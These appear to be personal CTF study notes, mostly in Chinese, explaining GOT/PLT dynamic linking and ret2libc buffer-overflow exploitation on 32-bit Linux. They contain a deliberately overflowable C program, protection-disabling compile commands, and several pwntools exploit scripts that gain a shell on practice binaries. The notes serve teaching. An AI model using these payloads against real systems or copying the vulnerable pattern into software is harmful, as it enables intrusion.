ret2libc
root@a1station:~/pwn/got# cat got.c
#include
static int a;
extern int b;
extern void test();
int func()
{
a = 1;
b = 2;
return 0;
}
int main()
{
func();
test();
printf("hey!\n");
return 0;
}
root@a1station:~/pwn/got#
root@a1station:~/pwn/got# cat got_extern.c
#include
int b;
void test()
{
printf("Test\n");
}
root@a1station:~/pwn/got#
root@a1station:~/pwn/got# cat 1.sh
gcc got_extern.c -fPIC -shared -m32 -O0 -o got_extern.so
gcc got.c ./got_extern.so -fPIC -m32 -O0 -o got
0804858b <func>:
804858b: 55 push %ebp
804858c: 89 e5 mov %esp,%ebp
804858e: e8 67 00 00 00 call 80485fa <__x86.get_pc_thunk.ax>
8048593: 05 6d 1a 00 00 add $0x1a6d,%eax
// 0x8048593 + 0x1a6d + 0x24 = 0x804a024 (未初始化数据段)
8048598: c7 80 24 00 00 00 01 movl $0x1,0x24(%eax) // 2. 模块内部数据访问
804859f: 00 00 00
80485a2: 8b 80 f8 ff ff ff mov -0x8(%eax),%eax
// 0x8048593 + 0x1a6d - 0x8 = 0x8049ff8 (got表偏移)
80485a8: c7 00 02 00 00 00 movl $0x2,(%eax)
80485ae: b8 00 00 00 00 mov $0x0,%eax
80485b3: 5d pop %ebp
80485b4: c3 ret
080485b5 <main>:
80485b5: 8d 4c 24 04 lea 0x4(%esp),%ecx
80485b9: 83 e4 f0 and $0xfffffff0,%esp
80485bc: ff 71 fc pushl -0x4(%ecx)
80485bf: 55 push %ebp
80485c0: 89 e5 mov %esp,%ebp
80485c2: 53 push %ebx
80485c3: 51 push %ecx
80485c4: e8 f7 fe ff ff call 80484c0 <__x86.get_pc_thunk.bx>
80485c9: 81 c3 37 1a 00 00 add $0x1a37,%ebx
80485cf: e8 b7 ff ff ff call 804858b <func> // 1. 模块内部数据调用。
// 0xffffffb7 --> -73
// 0x80485cf + 5 - 73 = 0x804858b
80485d4: e8 97 fe ff ff call 8048470 <test@plt> // 4. 模块间函数调用
// 0x80485d4 + 0xfffffe97 + 5 = 0x8048470
80485d9: 83 ec 0c sub $0xc,%esp
80485dc: 8d 83 80 e6 ff ff lea -0x1980(%ebx),%eax
80485e2: 50 push %eax
80485e3: e8 68 fe ff ff call 8048450 <puts@plt>
80485e8: 83 c4 10 add $0x10,%esp
80485eb: b8 00 00 00 00 mov $0x0,%eax
80485f0: 8d 65 f8 lea -0x8(%ebp),%esp
80485f3: 59 pop %ecx
80485f4: 5b pop %ebx
80485f5: 5d pop %ebp
80485f6: 8d 61 fc lea -0x4(%ecx),%esp
80485f9: c3 ret
080485fa <__x86.get_pc_thunk.ax>:
80485fa: 8b 04 24 mov (%esp),%eax
80485fd: c3 ret
80485fe: 66 90 xchg %ax,%ax
11 .plt 00000040 08048440 08048440 00000440 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
22 .got 00000008 08049ff8 08049ff8 00000ff8 2**2
CONTENTS, ALLOC, LOAD, DATA
25 .bss 00000008 0804a020 0804a020 00001020 2**2
ALLOC
root@a1station:~/pwn/got# objdump -R got
got: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff8 R_386_GLOB_DAT b
08049ffc R_386_GLOB_DAT __gmon_start__
0804a00c R_386_JUMP_SLOT puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
0804a014 R_386_JUMP_SLOT test
.got表中存放着全局变量的引用
.got.plt存放着函数的引用
08048470 <test@plt>:
8048470: ff 25 14 a0 04 08 jmp *0x804a014 (位于.got.plt表中)
8048476: 68 10 00 00 00 push $0x10
804847b: e9 c0 ff ff ff jmp 8048440 <_init+0x30>
23 .got.plt 00000018 0804a000 0804a000 00001000 2**2
CONTENTS, ALLOC, LOAD, DATA
root@a1station:~/pwn/got# objdump -d -s got -j .got.plt
got: file format elf32-i386
Contents of section .got.plt:
804a000 089f0408 00000000 00000000 56840408 ............V...
804a010 66840408 76840408 f...v...
Disassembly of section .got.plt:
0804a000 <_GLOBAL_OFFSET_TABLE_>:
804a000: 08 9f 04 08 00 00 00 00 00 00 00 00 56 84 04 08 ............V...
804a010: 66 84 04 08 76 84 04 08 f...v...
程序调用外部函数的整个过程就是,第一次访问 test@plt 函数时,动态链接器就会去动态共享模块中查找 test 函数的真实地址然后将真实地址保存到test@got中(.got.plt);第二次访问test@plt时,就直接跳转到test@got中去。
#undef _FORTIFY_SOURCE
#include
#include
#include
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char **argv) {
vulnerable_function();
write(STDOUT_FILENO, "hello, world\n", 13);
return 0;
}
不开启DEP保护编译
gcc -fno-stack-protector -z execstack -o ret2lib ret2lib.c
开启DEP保护编译
gcc -fno-stack-protector -o ret2lib ret2lib.c
实战:
编译: gcc -fno-stack-protector -no-pie -m32 -o ret2lib ret2lib.c
root@a1station:~/pwn/got# objdump -T /lib/i386-linux-gnu/libc.so.6 | grep system
00112f20 g DF .text 00000044 GLIBC_2.0 svcerr_systemerr
0003ada0 g DF .text 00000037 GLIBC_PRIVATE __libc_system
0003ada0 w DF .text 00000037 GLIBC_2.0 system
0xf7dfd000 + 0003ada0 = 0xf7e37da0
root@a1station:~/pwn/got# ROPgadget --binary /lib/i386-linux-gnu/libc.so.6 --string "/bin/sh"
Strings information
============================================================
0x0015ba0b : /bin/sh
0xf7dfd000 + 0x0015ba0b = 0xf7f58a0b
gdb-peda$ pattern_offset 0x41416d41
1094806849 found at offset: 140
gdb-peda$ pattern_offset 0x41416d41
1094806849 found at offset: 140
from pwn import *
# root@ubuntu:~/pwn/got# ldd ./ret2lib
# linux-gate.so.1 => (0xf7fda000)
# libc.so.6 => /lib32/libc.so.6 (0xf7e1f000)
# /lib/ld-linux.so.2 (0xf7fdc000)
# root@ubuntu:~/pwn/got# objdump -T /lib32/libc.so.6 | grep system
# 00118e50 g DF .text 00000049 GLIBC_2.0 svcerr_systemerr
# 0003fe70 g DF .text 00000038 GLIBC_PRIVATE __libc_system
# 0003fe70 w DF .text 00000038 GLIBC_2.0 system
#
# system_addr = 0xf7e1f000 + 0x0003fe70 = 0xf7e5ee70
# root@ubuntu:~/pwn/got# ROPgadget --binary /lib32/libc.so.6 --string "/bin/sh"
# Strings information
# ============================================================
# 0x0015ffcc : /bin/sh
#
# binsh_addr = 0xf7e1f000 + 0x0015ffcc = 0xf7f7efcc
# context.log_level = 'debug'
sh = process("./ret2lib")
system_addr = p32(0xf7e5ee70)
system_ret_addr = p32(0xdeadbeef)
binsh_addr = p32(0xf7f7efcc)
paylaod = 'a' * 140 + system_addr + system_ret_addr + binsh_addr
sh.sendline(paylaod)
sh.interactive()
https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc1/ret2libc1
gdb-peda$ pattern_offset 0x41384141
1094205761 found at offset: 112
root@ubuntu:~/pwn/ret2libc1# objdump -d -j .plt ret2libc1 | grep system -A 5
08048460 :
8048460: ff 25 18 a0 04 08 jmp *0x804a018
8048466: 68 18 00 00 00 push $0x18
804846b: e9 b0 ff ff ff jmp 8048420 <_init+0x24>
root@ubuntu:~/pwn/ret2libc1# ROPgadget --binary ./ret2libc1 --string "/bin/sh"
Strings information
============================================================
0x08048720 : /bin/sh
思路,跳转到system@plt表,plt表会寻址system地址,ret2libc
from pwn import *
sh = process("./ret2libc1")
elf = ELF("./ret2libc1")
def pwn(sh, payload):
sh.recvuntil("\n")
sh.sendline(payload)
sh.interactive()
system_addr = elf.plt['system']
print hex(system_addr)
binsh_addr = elf.search('/bin/sh').next()
print hex(binsh_addr)
ret_addr = 0xdeadbeaf
payload = 'a' * 112 + p32(system_addr) + p32(ret_addr) + p32(binsh_addr)
print payload[112:]
pwn(sh, payload)
https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc2/ret2libc2
文件中不包含/bin/sh, 需要自己加入.
查看plt表
root@ubuntu:~/pwn/ret2libc2# objdump -R ret2libc2
ret2libc2: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ffc R_386_GLOB_DAT __gmon_start__
0804a040 R_386_COPY stdin
0804a060 R_386_COPY stdout
0804a00c R_386_JUMP_SLOT printf
0804a010 R_386_JUMP_SLOT gets
0804a014 R_386_JUMP_SLOT time
0804a018 R_386_JUMP_SLOT puts
0804a01c R_386_JUMP_SLOT system
0804a020 R_386_JUMP_SLOT __gmon_start__
0804a024 R_386_JUMP_SLOT srand
0804a028 R_386_JUMP_SLOT __libc_start_main
0804a02c R_386_JUMP_SLOT setvbuf
0804a030 R_386_JUMP_SLOT rand
0804a034 R_386_JUMP_SLOT __isoc99_scanf
system 和 gets
思路:
先用gets写入/bin/sh, 然后system执行shell
root@ubuntu:~/pwn/ret2libc2# ROPgadget --binary ./ret2libc2 --only "pop|ret"
Gadgets information
============================================================
0x0804872f : pop ebp ; ret 【 随便选个 】
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret
0x0804872e : pop edi ; pop ebp ; ret
0x0804872d : pop esi ; pop edi ; pop ebp ; ret
0x08048426 : ret
0x0804857e : ret 0xeac1
root@ubuntu:~/pwn/ret2libc2# objdump -d -j .plt ret2libc2 | grep -e system -e gets -A 4
08048460 :
8048460: ff 25 10 a0 04 08 jmp *0x804a010
8048466: 68 08 00 00 00 push $0x8
804846b: e9 d0 ff ff ff jmp 8048440 <_init+0x24>
--
08048490 :
8048490: ff 25 1c a0 04 08 jmp *0x804a01c
8048496: 68 20 00 00 00 push $0x20
804849b: e9 a0 ff ff ff jmp 8048440 <_init+0x24>
import time
from pwn import *
sh = process("./ret2libc2")
elf = ELF("./ret2libc2")
def pwn(sh, payload1, payload2):
sh.recvuntil('?')
sh.sendline(payload1 + payload2)
sh.sendline('/bin/sh')
sh.interactive()
buf_addr = elf.symbols['buf2']
gets_plt = elf.plt['gets']
system_plt = elf.plt['system']
pop_ebx_ret = 0x0804843d
ret_addr = 0xdeadbeef
payload1 = 'a' * 112 + p32(gets_plt) + p32(pop_ebx_ret) + p32(buf_addr)
payload2 = p32(system_plt) + p32(ret_addr) + p32(buf_addr)
pwn(sh, payload1, payload2)
sys.exit(0)
# payload = flat(
# ['a'*112, gets_plt, pop_ebx_ret, buf_addr, system_plt, ret_addr, buf_addr]
# )
# sh.sendline(payload)
# sh.sendline('/bin/sh')
# sh.interactive()
另一个exp:
from pwn import *
sh = process("./ret2libc2")
elf = ELF("./ret2libc2")
def pwn(sh, payload):
sh.recvuntil('?')
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()
buf = elf.symbols['buf2'] # 0x0804A080
gets_plt = elf.plt['gets']
system_plt = elf.plt['system']
pop_ebx_ret = 0x0804872f
ret_addr = 0xdeadbeef
payload = 'a' * 112 + p32(gets_plt) + p32(system_plt) + p32(buf) + p32(buf)
pwn(sh, payload)
call:
pushl %eip
movl f, %eip
enter:
pushl %ebp
movl %esp, %ebp
leave:
movl %ebp, %esp
popl %ebp
ret:
popl %eip
https://www.freebuf.com/news/182894.html
https://github.com/ctf-wiki/ctf-wiki 学习资源
https://blog.51cto.com/11797152/2379739
https://www.freebuf.com/news/182894.html